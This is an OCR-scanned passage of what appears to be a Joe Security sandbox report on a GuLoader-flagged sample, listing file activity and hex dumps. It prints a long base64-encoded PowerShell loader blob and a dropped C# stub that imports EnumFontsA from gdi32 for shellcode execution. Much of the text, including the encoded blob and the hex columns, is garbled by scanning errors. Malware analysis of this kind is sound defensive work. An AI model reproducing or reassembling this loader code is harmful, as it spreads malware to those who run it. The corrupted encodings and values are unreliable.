AGMAaABPAGBACWAJAFMAZQBGAHIACWBMAGEADGBIADCAIABGAHIADBWBUAHQAAQBUAGCADAA3ACAAUABPAESAQQBMACAARABJIAE4A
QUAJAGQAAQBZAHMAIAB2AGEAJABMACAAVABhAHIAegBhAGAAdQASACAAZQBSAGUAYWBOAHIAbWBNAGEAIABWAEKAWGBBAFIARAAGAGKADGBOAG
UAIABBAG4AdgBIAGAAIABDAGEAJABIAGMAaABPADCAIAANAACAIWBEAFIATWBTAFMARQBMAESAIABGAEEAUgBWAEUASABBAE4ARABMACAAVABF
AESAUWBUAEIARQBIAEEAIABTAHAAZQBKAGKAJAASACAARWBIAHMAJAB1IAHIAYQBWADGAIABCAHIAZQBIAGMAAABIAGQAYgBVADCAIABKAGKACW
BzAGUAbgBOACAASABJAEAARWBFACAASWBPAE4ARABIJAEMAWQBLAEWARQAGAHQAY QBUAGSAIABMAGEAZWBVAHQAJABIACAAVGBIAG
WAdJAB1AHIAbWB1AHMAIABLAG8AaABSAGEAbgAZACAAVABYAGKAAQBIACAAQUBPAFMAUWBBAECARQAGAGSAY QBOAGEACWBOAHIADWAGAEOAbWBG
AGEADbQBIADUAIABOAHUADbgBpAGAAZWBZAHMAJAAGAEEAYWBMAHQADBQAGAEIAYQBrAGSAZQBUAGIAYQBYADYAIABhAGYACWBOACAA
QQBMAHMAJABUAGKAbGBNACAAQQBYAGSAYgB1AGUANGAGAFMAY QBWAHAAGAAGAAOACIAIAFMAQWBMAEUAIABHAFIAQQBOAEKAVABU
AEUAUgBOACAATQBhAGAAYQBUAGUANGAGAEUADQBWAHIAaQBZAGUACABhADYAIABIAHIAQBNAHUAYQAGAFMADQBRAGEAOAAGAEAA
bwBUAHAAY QBWAGKACWAOACAASWBMAEEAUWBTAEKAIABZAHYAYQBNAGIAIAANAACAIWBPAFYARQBSAE4ASQAGAHMAJABIAHIAIABUAEUASQBJAE
QAQQBFACAAVQBOAECAVABKAEUATGAGAEMAbWBUAHQACGBhAGMAJABPAHYAIABIAGAAZQBXAHUAAQBOAGEAIABHAGEACWBWAGEAIA
BaAESATWBNAEUAQWBIAEEAIABPAFYARQBSAFAATWBQAFUATABPACAAQWBFAFIAVAAGAEWAaQBXAGYACGBhAHAAMIAGAEKATQBQAF
IATWBWACAAagBhAGMAJABIAHIAYQBZAGSAIABTAGWAbWB3AGMAbWBhAGMAIABCAEWAQQBEAFMAWQBTACAAdQBUAGMADABhAHMACA
AJAESAQQBHAEUASWAGAFMARQBNAEOARQBTAFMASWBPAFIAIABWAESATABDAEEATGBJAFOAIABhAGAAdABPAHMAIABLAGSAbgBOAGBACIA2ACAA
QUBVAFQASQBLAFMAQWBFAE4AIABTAGGAbWB1AGWAZAAOACAATQBPAGWAagBhAGQADQBPADIAIABVAHIAZQBKAGKAbgBVADEAIABNAGEADABSAG
8AbgBzAHQAIAANAAOCAIWBBAEYASWBBACAAUWBUAFKAUGBJAE4ARWBTAEOASQAGAFUADbGBPAHYAZQBYAHMANQAGAEOAYQBPAGAAdg
BpAGMAawBpADYAIABCAEWATWBLAEGAIABHAEUASgBMAEUAUGBPAFMAUWAQAGIAaQBZAHMAZQAGAFUAZABOAHUADAAGAESADABIAG
4AawB2AGKACAAYACAAUWBOAHIAQBOAGGAY gBYADEAIAB2AGUACGBZACAATWBSAEKARWBJIAE4AQQBMAEYAUGAGAEOAY QBUAGKAMWAGAESAIQBO
AHIAaQBIAGIANGAGAAOACIAIAGOAZQBIAGUAJABIAGIAY QAGAFMAAQBIAGSAIABrAGUACGBUAGUADABSAGKADGAGAE IAaQBIAGWAaQBVAGCACY
AQAECAYQBKAGUAaAAgAHMADQBVAGSAIABCAGEACGBMAGSAZABIAGQAZQBZzADGAIABYAGUAJAB1AHIAbGBIAHIAAQBUACAAUWBIAGEACABIAGWA
ZQBzAHMAIABZAHEAJQBhAGWAIABLAGS8AbgBMAGSAMQAJAECATABVAFQASQAGAFIAaQBNAGUAJABZAGYAY QBYADUAIABPAEIAUWBFAFIAVGBBAC
AAQQBSAGKAbQBIAGAAJABhAHQAIAANAACAIWBHAGUAbgBUACAAUABhAGAAZAAGAECATWBMAEQARQBOAFCASQBOAECAIABSAGUAZA
BuAGKAbgBnAHMAaABVACAAVQBEAEYAUgBJAEUATAAGAEIAZQBhAHIAYQBIAGKADABPACAATQBIAGQADAAGAFQAZQBIAHAALWBIAHIACWBMAGKA
IABTAHAAQQBYAGKAJAB1AHMANQAGAHMAJABYAGEAbGAGAEYATABPAFAAUABZAEQAIABIAGAAY QBhAGQAaQBNAHQAIABNAEEAUWBL
AEUAUABSACAAQgBIAHMAdgBIAGCAbWAGAEWAagBOAGAAIABIAHKACWBOAHIAIABWAGEAJABIAGAAJABYAGUAJAAGAFQAAQBKAHMAZgAZACAAdA
BVAHIAaQBKACAADABPAGWAYQBWAGWAZQBhAGMAaAAGAFMAYWB0AGBAbWBKADYAIABUAGBAaQBSAGUAOQAGAESACABZAHUADQBIAG
UACgBIADGAIABTAGMAaQBYADMAIABIAHKAZABYAGS8ACgBoAGkAegBhACAAVQBOAEQAUWBJIAECAIABHAFUATGBKAEIAUgBBACAASQBYAGUAJABO
AGUACWBOAHQAZQA3ACAADQAKACMAVQBOAEEAUABQAFIAIABNAEKATGBFACAAUABhAGKADGAGAEYATWBSAFUAIABQAFIARQBTAEUA
UgBWACAAYgBhAGCACWBOAHIAYgAgAFUADbGBUAGEACGBIACAAdQBUAGKADQBWAHUAZWBUAGUAIABMAGEAbGBKAGUAagBIAGAAZABVACAAVABYAG
8AbABKAGUACGA4ACAATWBWAGIAeQAGAEUATGBUAFIARQBEAFIAIABMAGAAZWBVAGQAJABNAHIAZQAGAEOAQQBSAFIAWQAGAHYAZWBOAGYAIABD
AGWAbWBOAHUACGBpAGAANWAGAHMADABSAGAAZWBIAGWACWBOAHIAIAANAAOADQAKAAOACYBBAGQAZAAIAFQAeQBWAGUAIAAIAFQA
eQBWAGUARABIAGYAaQBUAGKAJABPAGBAbgAGAEAAIGANAACAIQBZAGKAbGBNACAAUWBSAHMAJABIAGOAOWANAACAIQBZAGKAbgBNACAAUWBSAH
MAJABIAGOALgBSAHUAbGBOAGKADQBIACAASQBUAHQAZQBYAGBACABTAGUACGB2AGKAYWBIAHMAOWANAAOACABIAGIADABPAGMAIABZAHQAYQBO
AGKAYWAGAGMADABhAHMACWAGAFIATWBUAEEAVABJAESATGBGAESAMQANAACAEWANAAOAWWBEAGWADABJAGOACABVAHIAJAAOACIA
ZWBKAGKAMWAYACIAKQBAAHAAIQBIAGWAaQBJACAACWBOAGEAJABPAGMAIABIAHGAJABIAHIAbgAGAEKAbGBOAFAAJABYACAARQBUAHUADQBGAG
8AbgBOAHMAQQAOAHMAJABYAGKAbGBNACAAZGBIAHIACWBIAHYAY QASAHUAaQBUAHQAIABWAGEACGBhAHAADABIAGCALABPAGAAJAAGAEQARQBQ
AESALABPAGAAdAAGAFIATWBUAEEAVABJAESATGBGAESAMAASAGKADGBOACAASABVAHYAZQASAGKAbGBOACAAY QBMAHQAZQBYAHIAY QBrACWAAQ
BUAHQAIABTAHYAaQBUAGCAaABGAHUADABIADEAKQA7AAOACGBbAEQADABSAEKADQBWAGSACGBOACGAIGBLAEUAUGBOAEUATAAZADIAIGASACAA
RQBUAHQACGB5AFAADWBPAGAAJAAIACIAQWBYAGUAYQBOAGUARGBPAGWAZQBBACIAKQBIAHAAIQBIAGWAaQBJACAACWBOAGEAJABPAGMAIABIAH
gAdABIAHIAbgAGAEKADgBOAFAAJABYACAAVBPAGEAYWAOAFSATQBhAHIACWBOAGEADABBAHMAKABVAGA4ADQBhAGAAY QBNAGUAZABUAHKACABI
AC4ATABQAFMAJABYACKAXQBZAHQACGBPAGAAZWAGAGYAZQBYAHMAaWB2AGEALABIAGKAbgBOACAACABhAHIAY QBWAGWAZQBNACWA
aQBUAHQAIABEAEUAUABPACWAaQBUAHQAIABSAESAVABBAFQASQBPAE4ARGBPADAALABPAGAAJAAGAEGADWB2AGUALABPAGAAdAAY
AGEAZgBOAGUACGBYAGEAawAsAGKAbgBOACAAUWB2AGKAbGBNAGgAagB1AGWAZQAXACKAOWANAACAWWBEAGWADABIAGOACABVAHIAJAAOACIAbY
BOAGQAbABSACIAKQBAAHAAIQBIAGWAaQBIACAACWBOAGEAJABPAGMAIABIAHgAJABIAHIAbgAGAGKADgBOACAATGBOAEEADABSAGBAYWBhAHQA
ZQBWAGKACgBOAHUAYQBSAEOAZQBIAGBACGB5ACIAaQBUAHQAIABSAESAVABBAFQASQBPAE4ARGBPADYALABYAGUAZGAGAEKAbGBO
ADMAMgAgAFQARQBSAFIAQQASAGKAbgBOACAATQBhAGAAaQBVAGSACAASAHIAZQBMACAASQBUAHQAMWAYACAAUGBPAFQAQQBUAEKA
TWBOAEYATWASAGKAbgBOACAAUABOAGBAbgBVAGWADBWASAGKAbgBOACAAUGBPAFQAQQBUAEKATWBOAEYATWA3ACKAOWANAACAWWBE
AGWADABJAGOACABVAHIAJAAOACIASWBFAFIATGBFAEWAMWAYACIALAAGAE UAbgBOAHIAeQBQAGBAaQBUAHQAPQAIAFIAZQBhAGQARGBPAGWAZQ
AACKAXQBWAHUAYgBSAGKAYWAGAHMAJABhAHQAaQBJACAAZQBAAHQAZQBYAGAAIABPAGAAdAAGAEMARABBAEMAKABPAGAAdAAGAE
0AYQBUAGKAbWBIAHAAMAASAHUAaQBUAHQAIABNAGEAbgBpAG8AawBWADEALABIJAGAAJABQAHQACIAGAEOAY QBUAGKABWBIAHAAMGASAHIAZQBM
ACAASQBUAHQAMWAYACAATQBhAG4AaQBVAGSACAAZACWAaQBUAHQAIABNAGEAbgBPAGBAawBWADQAKQA7AAOACYBDAEQADABSAEKA
bQBWAGSBACgBOACGAIgBVAFMARQBSADMAMGAIACKAXQBWAHUAY gBSAGKAYWAgAHMAJABhAHQAaQBJACAAZQBAAHQAZQBYAGAAIAB]
AG4AdABQAHQACYAJAEUADGB1AGOAVWBPAGAAZABVAHCACWAOAEKADGBOAFAAJABYACAATQBhAGAAaQBVAGSACAATACWAAQBUAHQAIABNAGEADY
BpAG8AawBWADYAKQA7AAOACIANAAOATQANAACAIGBAAAOACIAIAFIAIQBIAGKADYBIAGOAYQBNAHQANQAJAEOAe QBIAGKACWBZACAAUWBOAGUA
bgBVADMAIABVAEQARABBAE4ATgBFAEWAUWBFACAARQBYAEEAQWBUAE4ARQAGAEWAYQBIAHIAIABNAG8AbWBUAGKAMQAGAEEARABK
AESAIABCAGUABQB1AHIAMQAGAEKATIBTAFQAIABBAGQAagB1AHMAJAAGAEYAcgBIAHIACABYAHYAZQASACAASABIAGUACGBOAGUAYGBhAHIAIA
BGAGWAJQBOACAASABIAGQAZQBUAHMAawByAGEADQAJGAEIAIQBYAGOAY QBUAGAAaQBhACAADQBIAGYAY QBIACAAQUBIAGCAEQAGAE
gAdQBhAGYAJQBrAHUAbABPAHMAOAAGAEIAY QBNAGIAdQAYACAAVWBBAFIAUWAGAEOAY QBZAGSAZQBKAGIAJABOACAAZABYAHKACABZACAACWBO
AGBACABWAGUAZWAGAFMAJWBIAGUANQAGAFMATWBEAEYAIABIAGEACGBYACAATQBhAGAAZWBIAHIACWBMAGWAY QASACAADQAKACQA
UgBPAFQAQQBUAEKATWBOAEYATWAYADOAIgAKAGUADgB2ADOAABIAGOACAAIACAAKWAGACIAXABYAGUAJABOAGUAJABhAHMAJAAUAGQAYQBOAC
IADQAKACMAbDgBVAG4AaABIAHIAZQBKACAAaQBUAGSAYQBZAHMAbWAGAEYAdQBSAGQAYJAJAFMAZQBSAHYAY QBUAGCAIABHAG4AaQ
BKAGQAZQAYACAAUWBVAFIATQBPACAAQYBPAEQASABJAFMAQQBUAFQAIABRAFUASQBTACAAZQBUAHMACYBIAHQAJABIAGAAZAAGAG
MACgB5AHAAJABVAGQAaQBYAGUAIABIAGBADQBIAHIAbWBVAGOACAAGAFMAUABBAFIARQBOAEQARQBTAFAAIABBAGAAJABPAGWAaQBOACAARQBC
AFUATABMACAARGBVAHIAYgAGAFYAaQBSAGQAZgBhADIAIABNAGKAbgBhAGUAY QAXACAACWB5AGCAZABVAGOAZgBVAHIAbgAGAEEADABIAGKADY
BKAGUAbAAGAEQAUgBVAEUAUWAGAAOACIAKAFIATWBUAEEAVABJAESATIBGAESAMWAIADAAOWANAACAIABSAESBAVABBAFQASQBPAE
4ARgBPADKAPQAXADAANAA4ADUANWA2ADSADQAKACQAUGBPAFQAQQBUAEKATWBOAEYATWA4ADOAWWBSAESAVABBAFQASQBPAE4ARY
BPADEAXQAGADOATGBOAEEADABSAGBAYWBhAHQAZQBWAGKACGBOAHUAY QBSAEOAZQBIAGBACIBSACIALQAXACWAWWBYAGUAZGBAAC

AM AP AEAAAARI AL AT N AA N AT A AP ARAA A A AT AR AP ARV ANVAALATIAT D IAEE AV AR TAEOATAPRAAFOANAAAANT AR~ A GARNAAAA
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Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_yuhOlgm1.yl0.ps1

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_maqeymjvc.kdh.psm1

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\Documents\20220512

C:\Users\user\Documents\20220512\PowerShell_transcr
ipt.035347.Gkw5sg4s.20220512141642.txt

C:\Users\user\AppData\Local\Temp\15yt3nse

Copyright Joe Security LLC 2022

VAUYDFAFYAYYDUACKA T WDUAL T AT WAZALWANIAASAFSALYDIAL T AAYAKAFIA T WDUACCAVADJALCOA | yDUACOAUYASAULCANIYAYADYAUA
ASADYANAAPAAOACGAJAFIAZQBZAHUANQAGAFMAawBSAGQAJABIADMAIABNAEEARWBOAEUAVABJAFMATQAGAESAYQBSAGSAdQA4AC
AAQQBIAHMAYWAGAEQATWBSAEUAUWBUAEEAIABHAGSBAY QBSAHAADWAGAGAAY QBOAGIAbWBYACAAUWBSAGAAZQBYAGCAZQBOAGKAYW
AOACAARWBSAGAAY QBUAGQACIBhADEAIABLAGWAY QB2AGKAIABXAEEATgBMAE EAIABHAGUADABhACAADQBPAGWAaGBIAGUACIAGAF
QAbwBSAHMAZQB5AGWAIABIAHAAaQBWAGWAIABXAESAUgBTAEGAIABDAGSADABIAGOAIABBAGAAbgB1ADEAIABMAEUAVYBIAECAQQBUAEKATgAY
AHMAJABhAGIACWBVAGYAZgBpACAAaQBYAG8AbgAgAHUAYgBSAHUAZgBYAGQAaQBNACAADQAKACQAUGBPAFQAQQBUAEKATWBOAEYA
TWAOADOAWWBSAEBAVABBAFQASQBPAE4ARGBPADEAXQAGADOAVIBPAGEAYWAOACQAUGBPAFQAQQBUAEKATWBOAEYATWAYACWAMgAX
ADQANWAOADAMWA2ADQAOAASADEALAAWACWAMWASADEAMgA4ACWAMAAPAAOACIAJAFAAVQBNAFAARQBSAE4ASQAGAEIAUGBFAFAA
IABSAEUATgBOAEUAUWBJACAAQQBhAGIAYgBVACAAUWBOAHKADABOACAATYBhAHOAaQBZAGOAZQBZAGMAYQAZACAADABRAHQAZQBU
AGUAZABYAGEAIABBAEWARWBFAEIAUgBBAEKAUWAGAESAZQBOAHQACQBIAGKAIABQAGAAZQBIAGOAY QAGAEEAZGBNAGKAZGBOACAAIABIAGOACA
BsAGBAIABTAESASQBOAEQASWBBAEEAQUAJAEYAZQBYAGAAaQBzAGUACGBIADEAIABYAGUAYWBOAGKAZgBpAGUAIABSAEEARABJAESAQQAGAGCA
bABVAHMACWBVACAAYgBIAHQAYQBSAGKAbgBNAHMAZQAGAEYAcgBpAHQAJQBYAGUAMAGAHMAIQBIAGUAJABOAGEAJAAGAGOAZQBIAGBAIABVAG
QAYQBYAGIAZQBGAGQAZQAZACAADQAKACQAUGBPAFQAQQBUAEKATWBOAEYATWALADOAMAA7AAOACIAJAFMAIGBIAGWADGBPACAAVA
BFAFIAUgBFAFMAVABSAEKAQQAGAECACIB1AGOADQBIACAAUGBZAEQASABBAE4ARABHACAAUWBIAGMAbWBUAGQAZQAYACAACGBIAH
EAdQBpACAATQBFAFIAUWBUAEKARWBOACAARQBIAGIACBSAGBAbgBhACAASWBVAHIACWB2AGUAagBOAHIAMWAGAGKACWBKAGSAaWBIAGQAIABT
AHUAYgBIAGEACWAOACAAdGBIAGWADABhAGIAYQBNAGIAIABUAGBAbgBMAGUACIAGAFYAaQByAHQAJQBVAHMAIABLAFIATWBQAFMAUWAGAESAQQ
BMAEYAIABBAGOAJABZAHIAYQBhAGQACWBMADYAIAANAACAWWBSAESAVABBAFQASQBPAE4ARGBPADEAXQAGADOAQWBEAEEAQWAOAC
QAUgBPAFQAQQBUAEKATWBOAEYATWAOACWAJABSAESBAVABBAFQASQBPAE4ARGBPADMALAALADCAOQAZADMALABDAHIAZQBMAFOAJA
BSAES8AVABBAFQASQBPAE4ARGBPADUALAAWACKADQAKACMARABaAESAVABPAEOATQBFAFMASWAGAFUAZABZAGSACOBPAGAAZWAGAF
MAZQBAGKAYQBIADYAIABQAHUACGBSAGCAIABZAHKAJABOAGUADGBhACAASABSAGQACIAGAEUAIQBYAG EACWBPAGUACGBIAGAAIABNAHUADABO
ADMAIABVAGAACWB3AGKAbgAGAEEAZAB2AGBAaWALACAATQBhAHIAaQBUAGUACWBOAGEAIABUAGUADbgBKACAAUABIAGWAdGBIAHMACGBIAGEAdA
AOACAAQBUAGQAZABhAHQAY QBMAGKADAAGAEEAaWBhAGQAZQBIAGKACWAXACAARWBBAFIAVQBEAEEAIABFAHYAZQBUAHQAJQAXAC
AAUABSAEUAUWBFAE4AVABJAEOAIABEAGKAdgB1AGWANWAGAFMACABPAGWAZABIAHYAYQAgAFMAJABSAHIAaWBIACAARGBVAHQABWBOAGUADAAG
AEEAdQBOAGSAJAALIACAARQBBAFIAVAAGAEGAEQBKAHIAYQBNAGBAZWB5ACAAQYBYAGKADYBIAGUAIQASACAAVABYAGKACABSAHUAIABLIAGAAbW
ByAGEADABIAHMAIABTAGSAZQBSAGUAIAANAAOAWWBSAESAVABBAFQASQBPAE4ARGBPADEAXQAGADOARQBUAHUADQBXAGKADYBKAG
8AdWBZACgAJABSAESAVABBAFQASQBPAE4ARGBPADMALAAGADAAKQANAAOADQAKAA==

0x60000

433152 bytes
C32CA4ACFCC635ECIEABED8BA34DF5FAC
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
00000015.00000002.2389392549.0000000008750000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security

moderate

Access Attributes Options Completion Count Source Address Symbol
read attributes |  device sequential only | ' success or wait 1 6C6A8792 CreateFilew
synchronize | synchronous io
generic write non alert | non

directory file |

open no recall
read attributes |  device sequential only | success or wait 1 6C6A8792 CreateFileW
synchronize | synchronous io
generic write non alert | non

directory file |

open no recall
read data or list  device directory file | object name collision 1 6D743263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read data or list  device directory file | object name collision 1 6D743263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read data or list  device directory file | success or wait 1 6C6B0794 CreateDirect
directory | synchronous io oryW
synchronize non alert | open

for backup ident

| open reparse

point
read attributes | device synchronousio  success or wait 1 6C6A8792 CreateFilew
synchronize | non alert | non
generic read | directory file |
generic write open no recall
read data or list  device directory file | success or wait 1 6BDAAC39 CreateDirect
directory | synchronous io oryA

synchronize non alert | open
for backup ident
| open reparse

point
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File Path

C:\Users\user\AppData\Local\Te
mp\15yt3nse\15yt3nse.tmp

C:\Users\user\AppData\Local\Te
mp\15yt3nse\15yt3nse.0.cs

C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.dll

C:\Users\user\AppData\Local\Te

mp\15yt3nse\15yt3nse.cmdline

C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.out

C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.err

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache

File Written

File Path Offset Length
C:\Users\user\AppData\Local\Te 0 60
mp\__PSscr

iptPolicyTest_yuhOlgm1.yl0.ps1

C:\Users\user\AppData\Local\Te 0 60
mp\__PSscr
iptPolicyTest_mageymjvc.kdh.psm1

unknown 0 3
unknown 3 4096
unknown 16387 3109

Copyright Joe Security LLC 2022

Access Attributes Options

read attributes |  device
synchronize |
generic write

read attributes |  device
synchronize |
generic read |
generic write

read attributes |  device
synchronize |
generic read |
generic write

read attributes |  device
synchronize |
generic write

read attributes |  device
synchronize |
generic write

read attributes |  device
synchronize |
generic write

read attributes |  device
synchronize |
generic read |
generic write

Value

232050 6f 77 65 72 53
68 65 6¢ 6C 20 74 65 73
74 20 66 69 6¢ 65 20 74
6f 20 64 65 74 65 72 6d
69 6e 6520 41 70 70 4c
6f 63 6b 65 72 20 6¢ 6f
63 6b 64 6f 77 6e 20 6d
6f 64 65 20

2320 50 6f 77 65 72 53
68 65 6¢ 6¢ 20 74 65 73
74 20 66 69 6¢ 65 20 74
6f 20 64 65 74 65 72 6d
69 6e 65 20 41 70 70 4c
6f 63 6b 65 72 20 6¢ 6f
63 6b 64 6f 77 6e 20 6d
6f 64 65 20

75 6e 6b 6e 6f 77 6e
75 6e 6b 6e 6f 77 6e
75 6e 6b 6e 6f 77 6e

synchronous io

non alert | non
directory file |
open no recall

synchronous io

non alert | non
directory file |
open no recall

synchronous io

non alert | non
directory file |
open no recall

synchronous io

non alert | non
directory file |
open no recall

synchronous io

non alert | non
directory file |
open no recall

synchronous io

non alert | non
directory file |
open no recall

synchronous io

non alert | non
directory file |
open no recall

Ascii

# PowerShell test file to
determine AppLocker
lockdown mode

# PowerShell test file to
determine AppLocker
lockdown mode

unknown
unknown

unknown

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Completion

success or wait

success or wait

success or wait
success or wait

success or wait

Count Source Address

1

1

1
5
5

Count Source Address

1

6C6A8792

6C6A8792

6C6A8792

6C6A8792

6C6A8792

6C6A8792

6C6A8792

6C6A9B71

6C6A9B71

6C6A9B71
6C6A9B71
6C6A9B71

Symbol

CreateFilew

CreateFileW

CreateFilewW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

Symbol

WriteFile

WriteFile

WriteFile
WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mp\15yt3nse\15yt3nse.0.cs

C:\Users\user\AppData\Local\Te
mp\15yt3nse\15yt3nse.cmdline

Copyright Joe Security LLC 2022

Offset

0

0

Length Value

871

371

ff 75 73 69 6e 67 20 53
79 73 74 65 6d 3b 0d Oa
7573 69 6e 67 20 53 79
73 74 65 6d 2e 52 75 6e
74 69 6d 65 2e 49 6e 74
65 72 6f 70 53 65 72 76
69 63 65 73 3b 0d Oa 70
7562 6¢ 69 63 20 73 74
61 74 69 63 20 63 6¢ 61
7373 2052 4f 54 41 54
49 4f 4e 46 4f 31 0d Oa
7b 0d Oa 5b 44 6¢ 6¢ 49
6d 70 6f 72 74 28 22 67
64 69 33 32 22 29 5d 70
7562 6¢ 69 63 20 73 74
6174 69 63 20 65 78 74
65 72 6e 20 49 6e 74 50
74 72 20 45 6e 75 6d 46
6f 6e 74 734128 7374
72 69 6e 67 20 66 65 72
73 6b 76 61 2c 75 69 6e
742070617261 70 6¢
65 67 2c 69 6e 74 20 44
45 50 4f 2¢ 69 6e 74 20
52 4f 54 41 54 49 4f 4e
46 4f 30 2c 69 6e 74 20
48 6f 76 65 2c 69 6e 74
206166 7465727261
6b 2c 69 6e 74 20 53 76
69 6e 67 68 6a 75 6¢ 65
31 29 3b 0d Oa 5b 44 6¢
6¢ 49 6d 70 6f

ff 2f 74 3a 6¢ 69 62 72 61
7279 20 2f 75 74 66 38
6f 75 74 70 75 74 20 2f
52 3a 225379737465
6d 2e 64 6¢ 6¢ 22 20 2f
52 3a 22 43 3a 5¢ 57 69
6e 64 6f 77 73 5¢ 4d 69
63 72 6f 73 6f 66 74 2e
4e 65 74 5¢c 61 73 73 65
6d 62 6¢ 79 5¢c 47 41 43
5f 4d 53 49 4c 5¢ 53 79
73 74 65 6d 2e 4d 61 6e
61 67 65 6d 65 6e 74 2e
4175 74 6f 6d 61 74 69
6f 6e 5¢ 76 34 2e 30 5f
33 2e 30 2e 30 2e 30 5f
5f 33 31 62 66 33 38 35
36 61 64 33 36 34 65 33
355¢ 53 79 73 74 65 6d
2e 4d 61 6e 61 67 65 6d
65 6e 74 2e 41 75 74 6f
6d 61 74 69 6f 6e 2e 64
6¢ 6¢ 22 20 2f 52 3a 22
5379 73 74 65 6d 2e 43
6f 72 65 2e 64 6¢ 6C 22
20 2f 6f 75 74 3a 22 43
3a 5¢ 55 7365 72 73 5¢
41727468 7572 5¢c 41
7070 44 61 74 61 5c 4c
6f 63 61 6¢ 5¢ 54 65 6d
70 5c 31 3579 74 33 6e
7365 5¢c 31

Ascii Completion Count Source Address

using System;using success or wait 1 6C6A9B71
System.Runt
ime.InteropServices;publi
c static class
ROTATIONFO1{[DIlimpo
rt("gdi32")]public static
extern IntPtr
EnumFontsA(string fe
rskva,uint parapleg,int
DEPO,int
ROTATIONFOO,int
Hove,int afterrak,int
Svinghjulel);[Dllimpo

It:library /utf8output success or wait 1 6C6A9B71
IR:"System.dlIl"
/R:"C:\Windows\Micros
oft.Net\assembly\GAC_M
SIL\Syst
em.Management.Automa
tion\v4.0_
3.0.0.0__31bf3856ad364
e35\Syst
em.Management.Automa
tion.dll"
/R:"System.Core.dIl"
Jout:"C:\
Users\user\AppData\Loc
al\Temp\15yt3nse\l

Symbol

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mp\15yt3nse\15yt3nse.out

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

Copyright Joe Security LLC 2022

Offset

0

0

Length Value

458

4096

ff 43 3a 5¢ 55 73 65 72
735c41727468 7572
5c 44 65 73 6b 74 6f 70
3e 20 22 43 3a 5¢ 57 69
6e 64 6f 77 73 5¢ 4d 69
63 72 6f 73 6f 66 74 2e
4e 45 54 5¢ 46 72 61 6d
65 77 6f 72 6b 5¢ 76 34
2e 30 2e 333033 31 39
5c 63 73 63 2e 65 78 65
22 20 2f 74 3a 6¢ 69 62
72617279202f7574
66 38 6f 75 74 70 75 74
20 2f523a22537973
74 65 6d 2e 64 6¢ 6¢C 22
20 2f 52 3a 22 43 3a 5¢
57 69 6e 64 6f 77 73 5¢c
4d 69 63 72 6f 73 6f 66
74 2e 4e 65 74 5¢c 61 73
73 65 6d 62 6¢ 79 5¢ 47
41 43 5f 4d 53 49 4c 5¢
5379 73 74 65 6d 2e 4d
61 6e 61 67 65 6d 65 6e
74 2e 4175 74 6f 6d 61
74 69 6f 6e 5¢c 76 34 2e
30 5f 33 2e 30 2e 30 2e
30 5f 5f 33 31 62 66 33
38 35 36 61 64 33 36 34
6533355¢c5379 7374
65 6d 2e 4d 61 6e 61 67
65 6d 65 6e 74 2e 41 75
74 6f6d 61 74

50 53 4d 4f 44 55 4c 45
43 41 43 48 45 01 07 00
00 00 24 ea fd fd 7a fd 08
59 00 00 00 43 3a 5c 50
72 6f 67 72 61 6d 20 46
69 6¢ 65 73 20 28 78 38
36 29 5¢c 57 69 6e 64 6f
77 73 50 6f 77 65 72 53
68 65 6¢ 6¢ 5¢ 4d 6f 64
75 6¢ 65 73 5¢ 50 6f 77
65 72 53 68 65 6¢ 6C 47
65 74 5¢ 31 2e 30 2e 30
2e 31 5¢ 50 6f 77 65 72
53 68 65 6¢ 6¢ 47 65 74
2e 70 73 64 31 1d 00 00
00 10 00 00 00 55 6e 69
6e 73 74 61 6¢ 6¢ 2d 4d
6f 64 75 6¢ 65 02 00 00
00 04 00 00 00 69 6e 6d
6f 01 00 00 00 04 00 00
00 66 69 6d 6f 01 00 00
00 Oe 00 00 00 49 6e 73
74 61 6c 6¢ 2d 4d 6f 64
75 6¢ 65 02 00 00 00 12
00 00 00 4e 65 77 2d 53
63 7269 70 74 46 69 6¢C
65 49 6e 66 6f 02 00 00
00 Oe 00 00 00 50 75 62
6c 69 73 68 2d 4d 6f 64
75 6¢ 65 02 00 00 00 Oe
00 00 00 49 6e 73 74 61
6¢ 6¢ 2d 53 63

Ascii Completion

C:\Users\user\Desktop>  success or wait 1 6C6A9B71
"C:\Win
dows\Microsoft.NET\Fra
mework\v
4.0.30319\csc.exe"”
[t:library /utf8output
/R:"System.dll" /R
:"C:\Windows\Microsoft.N
et\ass
embly\GAC_MSIL\Syste
m.Manageme
nt.Automation\v4.0_3.0.0.
0_31
bf3856ad364e35\System.
Management.Automat

PSMODULECACHES$zY
C:\Program Files
(x86)\WindowsPowerShel
\Mod
ules\PowerShellGet\1.0.0
.1\Pow
erShellGet.psd1Uninstall-
Moduleinmofimolnstall-
ModuleNew-scr
iptFileinfoPublish-
Modulelnstall-Sc

success or wait 1 6C6A9B71

Count Source Address

Symbol

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

File Read
File Path

Offset

4096

Length Value

1733

00 0a 00 00 00 47 65 74
2d 52 61 6e 64 6f 6d 08
00 00 00 03 00 00 00 43
46 53 01 00 00 00 Oa 00
00 00 4f 75 74 2d 53 74
72 69 6e 67 08 00 00 00
Oe 00 00 00 57 72 69 74
65 2d 50 72 6f 67 72 65
73 73 08 00 00 00 14 00
00 00 44 69 73 61 62 6C
65 2d 50 53 42 72 65 61
6b 70 6f 69 6e 74 08 00
00 00 11 00 00 00 55 70
64 61 74 65 2d 46 6f 72
6d 61 74 44 61 74 61 08
